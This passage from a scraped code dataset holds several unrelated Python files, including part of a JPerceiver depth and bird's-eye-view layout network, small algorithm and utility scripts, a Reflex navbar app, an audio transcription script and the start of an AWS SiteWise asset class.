ground_H_img = torch.linalg.inv(img_H_ground)\n LATERAL_EXTENT = 20 # look 20 meters left and right\n FORWARD_EXTENT = 40 # look 40 meters ahead\n\n # in meters/px\n out_width = int(FORWARD_EXTENT / resolution)\n out_height = int(LATERAL_EXTENT * 2 / resolution)\n\n RESCALING = 1 / resolution # pixels/meter, if rescaling=1, then 1 px/1 meter\n SHIFT = int(out_width // 2)\n shiftedground_H_ground = torch.Tensor(\n [\n [RESCALING, 0, 0],\n [0, RESCALING, SHIFT],\n [0, 0, 1]\n ]).repeat(batchsize, 1, 1).cuda()\n\n shiftedground_H_img = torch.bmm(shiftedground_H_ground, ground_H_img)\n restore_front_bev_layout_distance_label = warp_perspective(bev_layout_distance_label,\n torch.linalg.inv(shiftedground_H_img),\n dsize=(height, width))\n\n points_real_rot = np.asarray(points_real_rot)\n points_real_rot = torch.tensor(points_real_rot,dtype=torch.float32).repeat(batchsize,1,1).cuda()\n newPointsO = torch.round(transform_points(torch.linalg.inv(shiftedground_H_img), points_real_rot)).int()#(B,4,3)\n newPoints = newPointsO.cpu()\n pts = np.array(\n [[newPoints[0][0][0], newPoints[0][0][1]], [newPoints[0][2][0], newPoints[0][2][1]], [newPoints[0][3][0], newPoints[0][3][1]],\n [newPoints[0][1][0], newPoints[0][1][1]]])\n pts = np.round(pts).astype(np.int32)\n pts = pts.reshape((-1, 1, 2))\n imgshape = [img_front.shape[2:4][0], img_front.shape[2:4][1], 3]\n img_zero = np.zeros(imgshape, dtype=np.uint8)\n restore_front_layout = cv2.fillConvexPoly(img_zero, pts, (0, 255, 255), 1)\n img_gray_roi_mask_triangle = cv2.cvtColor(restore_front_layout, cv2.COLOR_RGB2GRAY)\n img_gray_roi_mask_triangle[img_gray_roi_mask_triangle > 0] = 1\n img_gray_roi_mask_triangle = torch.tensor(img_gray_roi_mask_triangle).repeat(batchsize,1,1).unsqueeze(1).cuda()\n restore_front_bev_layout_distance_label = restore_front_bev_layout_distance_label * img_gray_roi_mask_triangle\n return restore_front_bev_layout_distance_label\n def get_scale_label_both(self, inputs, opt):\n # if there are both labels, then the object region is subtracted from the road region, which is pre-computed as \"both_dynamic\"\n # and the remained region is used for the scale label\n # for KITTI dataset, the both label can also be computed by using pretrained model on other datasets\n # (e.g. models trained on KITTI Object to help generate the object region)\n img_front = inputs[(\"color\", 0, -1)]\n mapsize = opt.occ_map_size\n # img_front shape [128, 128, 3]\n # img batch [8, 3, 128, 128]\n height, width = img_front.shape[2:4]\n\n fig = plt.figure(figsize=(15, 10))\n bev_img_layout = inputs[(\"both_dynamic\", 0, 0)]\n resolution = 40 / mapsize\n resolution1 = mapsize / 40\n if bev_img_layout.shape[2] != mapsize or bev_img_layout.shape[3] != mapsize:\n raise ValueError(\"The shape of both label is not \", mapsize)\n batchsize = bev_img_layout.shape[0]\n h = w = mapsize\n if opt.split == \"argo\":\n z = torch.arange(mapsize, 0, step=-1).view(1, 1, h, 1).repeat(batchsize, 1, 1, w) * (40 / mapsize) - 1.9\n elif opt.split == \"raw\" or \"odometry\":\n\n z = torch.arange(mapsize, 0, step=-1).view(1, 1, h, 1).repeat(batchsize, 1, 1, w) * (40 / mapsize) - 0.27\n bev_layout_distance_label = z.cuda()\n bev_img_layout = torch.fliplr(bev_img_layout)\n bev_layout_distance_label = torch.fliplr(bev_layout_distance_label)\n bev_img_layout = torchvision.transforms.functional.rotate(bev_img_layout, angle=270)\n bev_layout_distance_label = torchvision.transforms.functional.rotate(bev_layout_distance_label, angle=270)\n\n K = inputs[(\"odometry_K\", 0, 0)][:, :3, :3]\n batchsize = K.shape[0]\n Tr_cam2_velo = inputs[(\"Tr_cam2_velo\", 0, 0)]\n camera_SE3_egovehicleO = Tr_cam2_velo\n camera_R_egovehicle = camera_SE3_egovehicleO[:, :3, :3]\n camera_t_egovehicle = camera_SE3_egovehicleO[:, :3, 3]\n camera_SE3_egovehicle = SE3(rotation=camera_R_egovehicle, translation=camera_t_egovehicle)\n if opt.split == \"argo\":\n HEIGHT_FROM_GROUND = 0.33\n elif opt.split == \"raw\" or opt.split == \"odometry\":\n HEIGHT_FROM_GROUND = 1.73 # in meters,\n ground_rotation = torch.eye(3).repeat(batchsize, 1, 1)\n ground_translation = torch.Tensor([0, 0, HEIGHT_FROM_GROUND]).repeat(batchsize, 1)\n ground_SE3_egovehicle = SE3(rotation=ground_rotation, translation=ground_translation)\n egovehicle_SE3_ground = ground_SE3_egovehicle(None, \"inverse\")\n\n camera_SE3_ground = camera_SE3_egovehicle(egovehicle_SE3_ground, \"right_multiply_with_se3\")\n img_H_ground = self.homography_from_calibration(camera_SE3_ground, K)\n ground_H_img = torch.linalg.inv(img_H_ground)\n LATERAL_EXTENT = 20 # look 20 meters left and right\n FORWARD_EXTENT = 40 # look 40 meters ahead\n\n # in meters/px\n out_width = int(FORWARD_EXTENT / resolution)\n out_height = int(LATERAL_EXTENT * 2 / resolution)\n\n RESCALING = 1 / resolution # pixels/meter, if rescaling=1, then 1 px/1 meter\n SHIFT = int(out_width // 2)\n shiftedground_H_ground = torch.Tensor(\n [\n [RESCALING, 0, 0],\n [0, RESCALING, SHIFT],\n [0, 0, 1]\n ]).repeat(batchsize, 1, 1).cuda()\n shiftedground_H_img = torch.bmm(shiftedground_H_ground, ground_H_img)\n restore_front_layout = warp_perspective(bev_img_layout, torch.linalg.inv(shiftedground_H_img),\n dsize=(height, width))\n restore_front_bev_layout_distance_label = warp_perspective(bev_layout_distance_label,\n torch.linalg.inv(shiftedground_H_img),\n dsize=(height, width))\n\n layout_mask = restore_front_layout\n restore_front_bev_layout_distance_label = restore_front_bev_layout_distance_label * layout_mask\n return restore_front_bev_layout_distance_label\n def SE3(self,rotation,translation):\n assert rotation[0].shape == (3, 3)\n assert translation[0].shape == (3,)\n # self.rotation = rotation\n # self.translation = translation\n batch = rotation.shape[0]\n transform_matrix = torch.eye(4).repeat(batch, 1, 1).cuda()\n # print(\"self.transform_matrix\", self.transform_matrix)\n transform_matrix[:, :3, :3] = rotation\n transform_matrix[:, :3, 3] = translation\n se3_dict = {\"rotation\":rotation, \"translation\":translation, \"transform_matrix\":transform_matrix}\n return se3_dict\n def inverse(self, se3_dict):\n\n \"\"\"Return the inverse of the current SE3 transformation.\n\n For example, if the current object represents target_SE3_src, we will return instead src_SE3_target.\n\n Returns:\n src_SE3_target: instance of SE3 class, representing\n inverse of SE3 transformation target_SE3_src\n \"\"\"\n # rotation [3,3]\n # tensor [8, 3. 3]\n rotation = se3_dict[\"rotation\"].transpose(1, 2)\n # print(\"rotation-----\",rotation.shape)\n # print(\"-self.translation-----\", (-se3_dict[\"translation\"]).shape)\n _translation = -se3_dict[\"translation\"].unsqueeze(2)\n translation = torch.bmm(rotation, _translation)\n # print(\"translation-----\", translation.shape)\n return self.SE3(rotation=rotation, translation=translation.squeeze(2))\n def right_multiply_with_se3(self,se3_dict, right_se3):\n return self.compose(se3_dict, right_se3)\n\n def compose(self, se3_dict, right_se3):\n chained_transform_matrix = torch.bmm(se3_dict[\"transform_matrix\"], right_se3[\"transform_matrix\"])\n chained_se3 = self.SE3(\n rotation=chained_transform_matrix[:, :3, :3],\n translation=chained_transform_matrix[:, :3, 3],\n )\n return chained_se3\n def rotate_points(self,points, Matrix):\n warpPoints = []\n for i in range(len(points)):\n point = points[i]\n point = torch.from_numpy(np.array(point).reshape(1, -1, 2).astype(np.float32)).cuda() # 二维变三维, 整形转float型, 一个都不能少\n #cv2.perspectiveTransform\n new_points = transform_points(Matrix, point)\n warpPoints.append(new_points)#.round().astype(np.int32).squeeze(0).squeeze(0))\n # print(\"warpPoints----:\", warpPoints)\n return warpPoints\n\n def homography_from_calibration(self,camera_SE3_ground: SE3, K: torch.Tensor) -> torch.Tensor:\n \"\"\"\n See Hartley Zisserman, Section 8.1.1\n \"\"\"\n # print(\"camera_SE3_ground device\",camera_SE3_ground.transform_matrix.device)\n batch = K.shape[0]\n # print(\"r1**************\", camera_SE3_ground.transform_matrix[:, :3, 0].shape)\n r1 = camera_SE3_ground.transform_matrix[:, :3, 0].reshape(batch, -1, 1)\n # print(\"r1**************\", r1.shape)\n r2 = camera_SE3_ground.transform_matrix[:, :3, 1].reshape(batch, -1, 1)\n t = camera_SE3_ground.transform_matrix[:, :3, 3].reshape(batch, -1, 1)\n # print(\"k in here\",K.shape,K.device)\n # print(\"torch.cat([r1, r2, t])\",torch.cat([r1, r2, t], dim=2).shape,torch.cat([r1, r2, t], dim=2).device)\n img_H_ground = torch.bmm(K, torch.cat([r1, r2, t], dim=2))\n return img_H_ground\n # def compute_topview_loss(self, outputs, true_top_view, weight):\n # generated_top_view = outputs\n # # print(\"generated_top_view\", generated_top_view.shape)\n # true_top_view = torch.squeeze(true_top_view.long())\n # # print(\"true_top_view\",true_top_view.shape)\n # if true_top_view.shape[0] == 256:\n # true_top_view = torch.unsqueeze(true_top_view,dim=0)\n # loss = nn.CrossEntropyLoss(weight=weight.cuda())\n # output = loss(generated_top_view, true_top_view)\n # return output.mean()\n def compute_topview_loss(self, outputs, true_top_view, weight, opt):\n generated_top_view = outputs\n #print(\"generated_top_view\", generated_top_view.shape)\n true_top_view = torch.squeeze(true_top_view.long())\n if true_top_view.shape[0] == 256:\n true_top_view = torch.unsqueeze(true_top_view,dim=0)\n #print(\"true_top_view\",true_top_view.shape)\n loss1 = nn.CrossEntropyLoss(weight=weight.cuda())\n if opt.loss_type == 'iou':\n softmax_helper = lambda x: F.softmax(x, 1)\n loss = IoULoss(apply_nonlin=softmax_helper)\n elif opt.loss_type == 'dice':\n softmax_helper = lambda x: F.softmax(x, 1)\n loss = SoftDiceLoss(apply_nonlin=softmax_helper)\n elif opt.loss_type == 'focal':\n softmax_helper = lambda x: F.softmax(x, 1)\n loss = FocalLoss(apply_nonlin=softmax_helper)\n elif opt.loss_type == 'tversky':\n softmax_helper = lambda x: F.softmax(x, 1)\n loss = TverskyLoss(apply_nonlin=softmax_helper)\n if opt.loss2_type == 'boundary':\n loss2 = BDLoss()\n if opt.loss_sum == 1:\n output = loss(generated_top_view, true_top_view) * opt.loss_weightS\n elif opt.loss_sum == 2:\n output = loss(generated_top_view, true_top_view)*opt.loss_weightS + \\\n loss2(generated_top_view, true_top_view)*opt.loss2_weightS\n elif opt.loss_sum == 3:\n output = loss(generated_top_view, true_top_view) * opt.loss_weightS + \\\n loss1(generated_top_view, true_top_view) +\\\n loss2(generated_top_view, true_top_view) * opt.loss2_weightS\n return output.mean()\n def compute_topview_lossB(self, outputs, true_top_view, weight, opt):\n generated_top_view = outputs\n #print(\"generated_top_view\", generated_top_view.shape)\n true_top_view = torch.squeeze(true_top_view.long())\n if true_top_view.shape[0] == 256:\n true_top_view = torch.unsqueeze(true_top_view,dim=0)\n #print(\"true_top_view\",true_top_view.shape)\n loss1 = nn.CrossEntropyLoss(weight=weight.cuda())\n if opt.loss_type == 'iou':\n softmax_helper = lambda x: F.softmax(x, 1)\n loss = IoULoss(apply_nonlin=softmax_helper)\n elif opt.loss_type == 'dice':\n softmax_helper = lambda x: F.softmax(x, 1)\n loss = SoftDiceLoss(apply_nonlin=softmax_helper)\n elif opt.loss_type == 'focal':\n softmax_helper = lambda x: F.softmax(x, 1)\n loss = FocalLoss(apply_nonlin=softmax_helper)\n elif opt.loss_type == 'tversky':\n softmax_helper = lambda x: F.softmax(x, 1)\n loss = TverskyLoss(apply_nonlin=softmax_helper)\n if opt.loss2_type == 'boundary':\n loss2 = BDLoss()\n if opt.loss_sum == 1:\n output = loss(generated_top_view, true_top_view) * opt.loss_weight\n elif opt.loss_sum == 2:\n output = loss(generated_top_view, true_top_view)*opt.loss_weight + \\\n loss2(generated_top_view, true_top_view)*opt.loss2_weight\n elif opt.loss_sum == 3:\n output = loss(generated_top_view, true_top_view) * opt.loss_weight + \\\n loss1(generated_top_view, true_top_view) +\\\n loss2(generated_top_view, true_top_view) * opt.loss2_weight\n return output.mean()\n\n def compute_transform_losses(self, outputs, retransform_output):\n self.L1Loss = nn.L1Loss()\n loss = self.L1Loss(outputs, retransform_output)\n return loss\n def disp_to_depth(self, disp, min_depth, max_depth):\n min_disp = 1 / max_depth # 0.01\n max_disp = 1 / min_depth # 10\n scaled_disp = min_disp + (max_disp - min_disp) * disp # (10-0.01)*disp+0.01\n depth = 1 / scaled_disp\n return scaled_disp, depth\n\n def predict_poses(self, inputs):\n outputs = {}\n pose_feats = {f_i: F.interpolate(inputs[\"color_aug\", f_i, 0], [192, 640], mode=\"bilinear\", align_corners=False) for f_i in self.opt.frame_ids}\n for f_i in self.opt.frame_ids[1:]:\n if not f_i == \"s\":\n if f_i < 0:\n pose_inputs = [pose_feats[f_i], pose_feats[0]]\n else:\n pose_inputs = [pose_feats[0], pose_feats[f_i]]\n pose_inputs = self.PoseEncoder(torch.cat(pose_inputs, 1))\n axisangle, translation = self.PoseDecoder(pose_inputs)\n outputs[(\"cam_T_cam\", 0, f_i)] = self.transformation_from_parameters(axisangle[:, 0], translation[:, 0], invert=(f_i < 0))\n return outputs\n\n def predict_layout(self, inputs, depth_feature):\n outputs = {}\n features = self.LayoutEncoder(inputs[\"color_aug\", 0, 0])\n encoder_features = features\n # Cross-view Transformation Module\n outputs[\"origin_features\"] = features\n transform_feature, retransform_features = self.CycledViewProjection(features)\n # print(\"transform_feature#####################\",transform_feature.shape)\n # print(\"retransform_features#####################\", retransform_features.shape)\n depth_feature = depth_feature[-1]\n # print(\"depth_feature#####################\", depth_feature.shape)\n features, energy, atten = self.CrossViewTransformer(features, transform_feature, retransform_features,depth_feature)\n\n outputs[\"topview\"] = self.LayoutDecoder(features)\n outputs[\"transform_topview\"] = self.LayoutTransformDecoder(transform_feature)\n outputs[\"features\"] = features\n outputs[\"features_road\"] = outputs[\"features\"]\n outputs[\"transform_feature_road\"] = transform_feature\n outputs[\"retransform_features\"] = retransform_features\n outputs[\"retransform_features_road\"] = outputs[\"retransform_features\"]\n outputs[\"cv_attn_road\"] = energy\n outputs[\"cm_attn_road\"] = atten\n return outputs, encoder_features\n def predict_layoutB(self, inputs, depth_feature, encoder_features):\n outputs = {}\n features = encoder_features\n\n # Cross-view Transformation Module\n\n transform_feature, retransform_features = self.CycledViewProjectionB(features)\n # print(\"transform_feature#####################\",transform_feature.shape)\n # print(\"retransform_features#####################\", retransform_features.shape)\n depth_feature = depth_feature[-1]\n # print(\"depth_feature#####################\", depth_feature.shape)\n features, energy, atten = self.CrossViewTransformerB(features, transform_feature, retransform_features,depth_feature)\n\n outputs[\"topviewB\"] = self.LayoutDecoderB(features)\n outputs[\"transform_topviewB\"] = self.LayoutTransformDecoderB(transform_feature)\n outputs[\"featuresB\"] = features\n outputs[\"transform_feature_car\"] = transform_feature\n outputs[\"features_car\"] = outputs[\"featuresB\"]\n outputs[\"retransform_featuresB\"] = retransform_features\n outputs[\"retransform_features_car\"] = outputs[\"retransform_featuresB\"]\n outputs[\"cv_attn_car\"] = energy\n outputs[\"cm_attn_car\"] = atten\n return outputs\n def generate_images_pred(self, inputs, outputs, scale):\n disp = outputs[(\"disp\", 0, scale)]\n disp = F.interpolate(disp, [self.opt.height, self.opt.width], mode=\"bilinear\", align_corners=False)\n _, depth = self.disp_to_depth(disp, self.opt.min_depth, self.opt.max_depth)\n for i, frame_id in enumerate(self.opt.frame_ids[1:]):\n if frame_id == \"s\":\n T = inputs[\"stereo_T\"]\n else:\n T = outputs[(\"cam_T_cam\", 0, frame_id)]\n cam_points = self.backproject(depth, inputs[(\"inv_K\",0)])\n pix_coords = self.project_3d(cam_points, inputs[(\"K\",0)], T)#[b,h,w,2]\n outputs[(\"color\", frame_id, scale)] = F.grid_sample(inputs[(\"color\", frame_id, 0)], pix_coords, padding_mode=\"border\")\n return outputs\n\n def transformation_from_parameters(self, axisangle, translation, invert=False):\n R = self.rot_from_axisangle(axisangle)\n t = translation.clone()\n if invert:\n R = R.transpose(1, 2)\n t *= -1\n T = self.get_translation_matrix(t)\n if invert:\n M = torch.matmul(R, T)\n else:\n M = torch.matmul(T, R)\n return M\n\n def get_translation_matrix(self, translation_vector):\n T = torch.zeros(translation_vector.shape[0], 4, 4).cuda()\n t = translation_vector.contiguous().view(-1, 3, 1)\n T[:, 0, 0] = 1\n T[:, 1, 1] = 1\n T[:, 2, 2] = 1\n T[:, 3, 3] = 1\n T[:, :3, 3, None] = t\n return T\n\n def rot_from_axisangle(self, vec):\n angle = torch.norm(vec, 2, 2, True)\n axis = vec / (angle + 1e-7)\n ca = torch.cos(angle)\n sa = torch.sin(angle)\n C = 1 - ca\n x = axis[..., 0].unsqueeze(1)\n y = axis[..., 1].unsqueeze(1)\n z = axis[..., 2].unsqueeze(1)\n xs = x * sa\n ys = y * sa\n zs = z * sa\n xC = x * C\n yC = y * C\n zC = z * C\n xyC = x * yC\n yzC = y * zC\n zxC = z * xC\n rot = torch.zeros((vec.shape[0], 4, 4)).cuda()\n rot[:, 0, 0] = torch.squeeze(x * xC + ca)\n rot[:, 0, 1] = torch.squeeze(xyC - zs)\n rot[:, 0, 2] = torch.squeeze(zxC + ys)\n rot[:, 1, 0] = torch.squeeze(xyC + zs)\n rot[:, 1, 1] = torch.squeeze(y * yC + ca)\n rot[:, 1, 2] = torch.squeeze(yzC - xs)\n rot[:, 2, 0] = torch.squeeze(zxC - ys)\n rot[:, 2, 1] = torch.squeeze(yzC + xs)\n rot[:, 2, 2] = torch.squeeze(z * zC + ca)\n rot[:, 3, 3] = 1\n return rot\n\n def get_smooth_loss(self, disp, img):\n b, _, h, w = disp.size()\n a1 = 0.5\n a2 = 0.5\n img = F.interpolate(img, (h, w), mode='area')\n\n disp_dx, disp_dy = self.gradient(disp)\n img_dx, img_dy = self.gradient(img)\n\n disp_dxx, disp_dxy = self.gradient(disp_dx)\n disp_dyx, disp_dyy = self.gradient(disp_dy)\n\n img_dxx, img_dxy = self.gradient(img_dx)\n img_dyx, img_dyy = self.gradient(img_dy)\n\n smooth1 = torch.mean(disp_dx.abs() * torch.exp(-a1 * img_dx.abs().mean(1, True))) + \\\n torch.mean(disp_dy.abs() * torch.exp(-a1 * img_dy.abs().mean(1, True)))\n\n smooth2 = torch.mean(disp_dxx.abs() * torch.exp(-a2 * img_dxx.abs().mean(1, True))) + \\\n torch.mean(disp_dxy.abs() * torch.exp(-a2 * img_dxy.abs().mean(1, True))) + \\\n torch.mean(disp_dyx.abs() * torch.exp(-a2 * img_dyx.abs().mean(1, True))) + \\\n torch.mean(disp_dyy.abs() * torch.exp(-a2 * img_dyy.abs().mean(1, True)))\n\n return smooth1 + smooth2\n\n def gradient(self, D):\n D_dy = D[:, :, 1:] - D[:, :, :-1]\n D_dx = D[:, :, :, 1:] - D[:, :, :, :-1]\n return D_dx, D_dy\n","repo_name":"sunnyHelen/JPerceiver","sub_path":"mono/model/mono_baseline/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":40383,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"21"} +{"seq_id":"1508668152","text":"import sys\nn = int(input())\nx = list(map(int, sys.stdin.readline().split()))\n\nanswer = {}\nfor idx, value in enumerate(x):\n strvalue = str(value)\n answer[strvalue] = idx\n\ncnt = 0\na = set(x)\na = list(a)\na.sort()\nfor i in a:\n answer[str(i)] = cnt\n cnt += 1\n\nans = []\nfor i in x:\n stri = str(i)\n m = answer[stri]\n print(m, end=' ')\n\n\n","repo_name":"YoungTae0406/bj-pg_Algorithm","sub_path":"18870_point_compress.py","file_name":"18870_point_compress.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28914821243","text":"\"\"\"Welcome to Reflex! This file outlines the steps to create a basic app.\"\"\"\nimport reflex as rx\nfrom navbar import style\n\nclass State(rx.State):\n pass\n\n\ndef index() -> rx.Component:\n return rx.hstack(\n rx.heading(\"Navbar\",font_size=\"2em\"),\n rx.list(\n rx.list_item(\n rx.link(\n \"Portafolio\",\n href=\"https://portafolioyoiner.azurewebsites.net/\"\n )\n ),\n style=style.list_navbar\n ),\n style=style.navbar\n )\n\n\n# Add state and page to the app.\napp = rx.App()\napp.add_page(index)\napp.compile()\n","repo_name":"YOYO-DR/reflex-practicas","sub_path":"navbar/navbar/navbar.py","file_name":"navbar.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28304495037","text":"def dictionaryToXML(dictionary):\n ''' a function to convert a python dictionary to xml file '''\n returnXML = ''\n def escape(string):\n ''' made to convert strings supported by xml'''\n string = string.replace(\"<\", \"<\")\n string = string.replace(\">\", \">\")\n string = string.replace(\"&\", \"&\")\n string = string.replace(\"\\\"\", \""\")\n return string\n def next(n, dictionary):\n returnElement = ''\n for e in dictionary.keys():\n if type(dictionary[e]) == type({}):\n returnElement += '{}'.format(' '*n, escape(e)) + '\\n'\n returnElement += next(n + 1, dictionary[e])\n returnElement += '{}'.format(' '*n) + '\\n'\n else:\n returnElement += '{}'.format(' '*n, escape(e)) + escape(str(dictionary[e])) + '' + '\\n'\n return returnElement\n returnXML += '' + '\\n'\n returnXML += '' + '\\n'\n returnXML += next(1, dictionary)\n returnXML += '' + '\\n'\n return returnXML\nif __name__ == '__main__':\n d = {'a':3, 'b':{1:2, 3:4}}\n print(dictionaryToXML(d))\n","repo_name":"Argoniton/Video-Management","sub_path":"DictionaryConverter.py","file_name":"DictionaryConverter.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40591543475","text":"def len_list(mass):\r\n i = 0\r\n for g in mass:\r\n i += 1\r\n return i\r\n\r\n\r\ndef ft_sl_list(mass):\r\n count = 0\r\n for i in range(1, len_list(mass)):\r\n if mass[i] > mass[i - 1]:\r\n count += 1\r\n return count\r\n\r\n# print(ft_sl_list([1, 2, 2, 3, 4, 4]))\r\n","repo_name":"Tratut/Easy_List","sub_path":"ft_sl_list.py","file_name":"ft_sl_list.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32167768133","text":"import matplotlib.pyplot as plt\r\nfrom pathlib import Path\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport cv2\r\nfrom skimage.feature import _canny as canny\r\n# import skimage.feature._canny as canny\r\n\r\n# import skimage.feature\r\n\r\n\r\n# create template - failed for now\r\n\r\n# load picture\r\npath_images = Path(r'C:\\Users\\user\\Desktop\\PuzzleProject\\Pictures\\Templates')\r\nimage_to_open = path_images / \"6x8.jpg\"\r\ntemplate_image = np.asarray(Image.open(image_to_open).convert('L'))\r\nthreshold = 220 # !!!!!!!!! hard coded !!!!!!!!!!!!!!!!!\r\ntemplate_image = np.where(template_image < threshold, 0, 255)\r\nplt.imshow(template_image, cmap='gray', vmin=0, vmax=255)\r\n\r\n# erosion\r\ntemplate_image = template_image.astype('uint8')\r\n# kernel = np.ones((3, 3), np.uint8)\r\nkernel = (np.array([[0, 1, 0], [1, 1, 1], [0, 1, 0]])).astype('uint8')\r\nimg_erosion = cv2.erode(template_image, kernel, iterations=1)\r\nplt.imshow(img_erosion, cmap='gray', vmin=0, vmax=255)\r\n\r\n# contour\r\nret, thresh = cv2.threshold(template_image, 150, 255, cv2.THRESH_BINARY)\r\ncontours, hierarchy = cv2.findContours(image=thresh, mode=cv2.RETR_TREE, method=cv2.CHAIN_APPROX_NONE) # draw\r\n# contours on the original image\r\nimage_copy = template_image.copy()\r\ncv2.drawContours(image=image_copy, contours=contours, contourIdx=-1, color=(0, 255, 0), thickness=2,\r\n lineType=cv2.LINE_AA)\r\n\r\n# see the results\r\ncv2.imshow('None approximation', image_copy)\r\nplt.imshow(image_copy, cmap='gray', vmin=0, vmax=255)\r\n\r\n############################################################################################################\r\n\r\n# identify pieces\r\npath_images = Path(r'C:\\Users\\user\\Desktop\\PuzzleProject\\Pictures')\r\nimage_to_open = path_images / \"second_level.jpg\"\r\nimage_second_level = np.asarray(Image.open(image_to_open).convert('L'))\r\nfig = plt.figure(figsize=(6, 6))\r\nplt.imshow(image_second_level, cmap='gray', vmin=0, vmax=255)\r\n\r\n##############\r\nimg = image_second_level\r\nimg_contours = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)[-2]\r\n\"\"\" Edge Based Segmentation \"\"\"\r\n\"\"\" edge detection with canny \"\"\"\r\nedges = canny(img)\r\nfig, ax = plt.subplots(figsize=(4, 4))\r\nax.imshow(edges, cmap=plt.cm.gray)\r\nax.axis('off')\r\nax.set_title('Canny detector')\r\n\"\"\" region - hole filling \"\"\"\r\nfill_holes = ndi.binary_fill_holes(edges)\r\nfig, ax = plt.subplots(figsize=(4, 3))\r\nax.imshow(fill_holes, cmap=plt.cm.gray, interpolation='nearest')\r\nax.axis('off')\r\nax.set_title('Filling the holes')\r\n\r\nplt.imshow(new_img, cmap='gray', vmin=0, vmax=255)\r\n\r\n","repo_name":"morhale67/PuzzlesProject","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15232063527","text":"import os\nimport speech_recognition as sr\nfrom tqdm import tqdm\n\n#Audio\nfrom pydub import AudioSegment\nfrom pydub.utils import make_chunks\nimport pydub\n\n#Split audio into chunks\npydub.AudioSegment.converter = \"C:\\\\ffmpeg\\\\bin\\\\ffmpeg.exe\"\n#AudioSegment.ffmpeg = \"C:\\\\ffmpeg\\\\bin\\\\ffmpeg.exe\"\nmyaudio = AudioSegment.from_mp3(\"E:\\\\Women who code\\\\sample.wav\", \"wav\") \nchunk_length_ms = 100000 # pydub calculates in millisec\nchunks = make_chunks(myaudio, chunk_length_ms) #Make chunks of 30 sec\nprint(len(chunks))\n\n#Export all of the individual chunks as wav files\n\nfor i, chunk in enumerate(chunks):\n chunk_name = \"E:\\\\Women who code\\\\chunks\\\\chunk{0}.wav\".format(i)\n print(\"exporting\", chunk_name)\n chunk.export(chunk_name, format=\"wav\")\n\nwith open(\"E:\\\\Women who code\\\\apikey.json\") as f:\n GOOGLE_CLOUD_SPEECH_CREDENTIALS = f.read()\n\nr = sr.Recognizer()\nfiles = sorted(os.listdir('E:\\\\Women who code\\\\chunks'))\n\nall_text = []\n\nfor f in tqdm(files):\n name = \"E:\\\\Women who code\\\\chunks\\\\\" + f\n # Load audio file\n with sr.AudioFile(name) as source:\n audio = r.record(source)\n # Transcribe audio file\n text = r.recognize_google_cloud(audio, credentials_json=GOOGLE_CLOUD_SPEECH_CREDENTIALS)\n all_text.append(text)\n\ntranscript = \"\"\nfor i, t in enumerate(all_text):\n total_seconds = i * 30\n # Cool shortcut from:\n # https://stackoverflow.com/questions/775049/python-time-seconds-to-hms\n # to get hours, minutes and seconds\n m, s = divmod(total_seconds, 60)\n h, m = divmod(m, 60)\n\n # Format time as h:m:s - 30 seconds of text\n transcript = transcript + \"{:0>2d}:{:0>2d}:{:0>2d} {}\\n\".format(h, m, s, t)\n\nprint(transcript)\nwith open(\"E:\\\\Women who code\\\\chunks\\\\transcript.txt\", \"w\") as f:\n f.write(transcript)","repo_name":"akshu281/WWC","sub_path":"slow.py","file_name":"slow.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14591154798","text":"import time\n\nimport boto3\n\nfrom .AssetAttribute import AssetAttribute\n\n\nclass Asset:\n\n def __init__(self, client=boto3.client(\"iotsitewise\"), **kwargs):\n\n self.assetId = kwargs.get(\"assetId\")\n self.assetArn = kwargs.get(\"assetArn\")\n self.assetName = kwargs.get(\"assetName\")\n self.assetModelId = kwargs.get(\"assetModelId\")\n self.assetProperties = kwargs.get(\"assertProperties\", [])\n self.assetHierarchies = kwargs.get(\"assetHierarchies\", [])\n self.assetCompositeModels = kwargs.get(\"assetCompositeModels\", [])\n self.assetCreationDate = kwargs.get(\"assetCreationDate\")\n self.assetLastUpdateDate = kwargs.get(\"assetLastUpdateDate\")\n self.assetStatus = kwargs.get(\"assetStatus\")\n\n # these attributes are derived from the describe response and consts of specific objects\n self._model = None\n self._attributes = {}\n self.associated_assets = None\n\n self._client = client\n\n self._repr_template = \"\"\n\n def __repr__(self):\n return self._repr_template.format(**dict(self))\n\n def __iter__(self):\n keys = [\"assetId\", \"assetArn\", \"assetName\", \"assetModelId\", \"assetProperties\", \"assetHierarchies\",\n \"assetCompositeModels\"]\n for k in keys:\n yield (k, getattr(self, k))\n\n @staticmethod\n def fetch_by_name(assetName, assetModelId=None, client=boto3.client(\"iotsitewise\")):\n \"\"\"\n If no assetModelId provided, the asset must be a top level asset\n :param assetName: Name of the model\n :param assetModelId: assetModelId\n :param client:\n :return:\n \"\"\"\n a = Asset(client)\n if assetModelId is not None:\n search_list = client.list_assets(assetModelId=assetModelId)[\"assetSummaries\"]\n else:\n search_list = client.list_assets(filter=\"TOP_LEVEL\")[\"assetSummaries\"]\n for e in search_list:\n if e[\"name\"] == assetName:\n a.assetId = e[\"id\"]\n a.fetch(client=client)\n return a\n\n @property\n def model(self):\n return self._model\n\n @model.setter\n def model(self, m):\n raise NotImplementedError(\"It is not possible to set the model.\")\n\n @property\n def attributes(self):\n return self._attributes\n\n @attributes.setter\n def attributes(self, m):\n raise NotImplementedError(\"It is not possible to set the attributes.\")\n\n def fetch(self, deep=False, client=None):\n \"\"\"\n fetches and updates attributes using the sitewise api\n :param client:\n :return: success status boolean\n \"\"\"\n client = client or self._client\n assert self.assetId\n asset = client.describe_asset(assetId=self.assetId)\n 